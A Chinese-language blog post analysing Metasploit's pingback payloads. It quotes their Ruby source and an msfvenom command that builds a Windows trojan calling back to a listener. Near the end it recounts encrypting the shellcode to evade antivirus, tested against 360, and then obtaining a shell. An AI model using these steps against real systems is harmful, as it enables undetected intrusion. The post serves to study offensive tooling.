今天早上Rapid7cn的公众号更新了一篇文章,然后就被群里的大师傅们转发了好几遍233,感觉挺有意思的,也想着分析一下
https://mp.weixin.qq.com/s/ZI-qQ_ORKG_gJ2Wnc2PiRA
官网: https://blog.rapid7.com/2019/08/01/introducing-pingback-payloads/
这次一共更新了10个pingback payload, 至于什么是pingback,其实msf官方在github已经说的很清楚了https://github.com/rapid7/metasploit-framework/pull/12129
Pingback payloads are designed to provide a limited-functionality payload to verify an exploit has worked. It does not provide a shell of any kind. A pingback payload creates a "random" UUID value (separate from the payload UUID) that is written to the Metasploit database along with other data. When executed on target, the payload sends back that UUID to verify that the exploit worked, but nothing else. When Framework receives that UUID, we verify the target is vulnerable to the exploit without loading an interactive shell.
This prevents traditional [W/M]ITM attacks or someone sniffing the traffic for information, as the UUID itself means nothing to a listener, and without further execution, the session itself is not particularly valuable to an attacker.
简单来说感觉其实就是,AV对msf之前的常规reverse_shell会进行拦截,导致我们并不能很清楚的知道目标是否存在该漏洞,然后这个payload就完全不会产生交互式shell,而只是返回一个UUID,能让我们知道poc/exp是否执行成功,然后目标是否存在当前漏洞,而不必担心被中间人攻击或者被拦截
翻看代码,我们发现它其实是每次生成一个新的UUID,然后将其发送到目标中,然后调用listener中的payload设置一个监听,然后当程序进行 Pingback
时,MSF打开一个会话来接受UUID,最后拿到完整UUID后,就关闭当前session
# msf/modules/payloads/singles/ruby/pingback_reverse_tcp.rb def ruby_string self.pingback_uuid ||= self.generate_pingback_uuid lhost = datastore['LHOST'] lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) return "require'socket';" \ "c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \ "c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');" "c.close" end
# msf/base/sessions/pingback.rb def uuid_read uuid_raw = rstream.get_once(16, 1) return nil unless uuid_raw self.uuid_string = uuid_raw.each_byte.map { |b| "%02x" % b.to_i() }.join print_status("Incoming UUID = #{uuid_string}") if framework.db.active begin payload = framework.db.payloads(uuid: uuid_string).first if payload.nil? print_warning("Provided UUID (#{uuid_string}) was not found in database!") else print_good("UUID identified (#{uuid_string})") end rescue ActiveRecord::ConnectionNotEstablished print_status("WARNING: UUID verification and logging is not available, because the database is not active.") rescue => e # TODO: Can we have a more specific exception handler? # Test: what if we send no bytes back? What if we send less than 16 bytes? Or more than? elog("Can't get original UUID") elog("Exception Class: #{e.class.name}") elog("Exception Message: #{e.message}") elog("Exception Backtrace: #{e.backtrace}") end else print_warning("WARNING: UUID verification and logging is not available, because the database is not active.") end end
然后在 option.rb
中,我们能看到pingback的模块存在两个选项:
def initialize(info = {}) super register_advanced_options( [ Msf::OptInt.new('PingbackRetries', [true, "How many additional successful pingbacks", 0]), Msf::OptInt.new('PingbackSleep', [true, "Time (in seconds) to sleep between pingbacks", 30]) ], self.class) end
我们利用 Msfvenom
生成一个 windows/x64/pingback_reverse_tcp
的exe木马
msfvenom -p windows/x64/pingback_reverse_tcp -f exe -o patrilic.exe LHOST=192.168.1.107 LPORT=4445 EXITFUNC=thread PINGBACKRETRIES=10 PINGBACKSLEEP=5
然后在目标机器上执行时:
只会返回UUID
然后目标机器上并没有产生任何的交互式shell,同时使用 Wireshark
也只能捕获到16byte的UUID值
这次更新的pingback payload,已经感觉是最小化的攻击载荷了,而且特征也并不明显,只是一串随机的UUID值而已,感觉用来验证漏洞还是挺不错的,然后后面再办法去掉exp特征,使用另外的方式来获得交互式shell或者直接执行命令云云.. 当然,msf直接生成的程序特征还是挺明显的,还是需要进行免杀,不过由于这个payload并没有进行起敏感进程,所以还是比较好免杀的。
时间太晚了,shellcode随便加密搞了下,静态还行,其实也就是识别的msf的特征,但是动态估计也没啥2333毕竟也没有危险进程,只是开了个socket
然后进程开起来的话,找了个360的机子试了下,没啥问题
特征估计也快普及了,然后主要是感觉思路挺好的,学习了~
rapid7牛逼